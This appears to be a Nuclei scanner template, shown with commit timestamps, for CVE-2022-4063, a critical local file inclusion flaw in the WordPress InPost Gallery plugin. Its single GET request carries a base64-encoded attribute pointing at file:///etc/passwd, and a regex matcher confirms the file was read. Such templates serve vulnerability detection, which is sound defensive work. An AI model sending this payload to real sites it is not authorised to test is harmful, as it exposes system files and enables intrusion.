2023-03-05 13:42:10 +00:00
id : CVE-2022-4063
info :
2023-03-13 18:51:19 +00:00
name : WordPress InPost Gallery <2.1.4.1 - Local File Inclusion
2023-03-05 13:42:10 +00:00
author : theamanrawat
severity : critical
description : |
2023-03-13 18:51:19 +00:00
WordPress InPost Gallery plugin before 2.1.4.1 is susceptible to local file inclusion. The plugin insecurely uses PHP's extract() function when rendering HTML views, which can allow attackers to force inclusion of malicious files and URLs. This, in turn, can enable them to execute code remotely on servers.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 2.1.4.1.
2023-03-05 13:42:10 +00:00
reference :
- https://wpscan.com/vulnerability/6bb07ec1-f1aa-4f4b-9717-c92f651a90a7
- https://wordpress.org/plugins/inpost-gallery/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4063
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-4063
cwe-id : CWE-22
2023-08-31 11:46:18 +00:00
epss-score : 0.00819
epss-percentile : 0.79674
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:pluginus:inpost_gallery:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : pluginus
product : inpost_gallery
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-03-05 14:19:20 +00:00
tags : cve,wp-plugin,wp,inpost-gallery,cve2022,lfi,wordpress,unauth,wpscan
2023-03-05 13:42:10 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-03-05 13:42:10 +00:00
- method : GET
path :
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ=="
matchers-condition : and
matchers :
- type : word
part : header
words :
- "text/html"
2023-07-11 19:49:27 +00:00
- type : regex
part : body
regex :
- "root:.*:0:0:"
2023-03-05 13:42:10 +00:00
- type : status
status :
- 200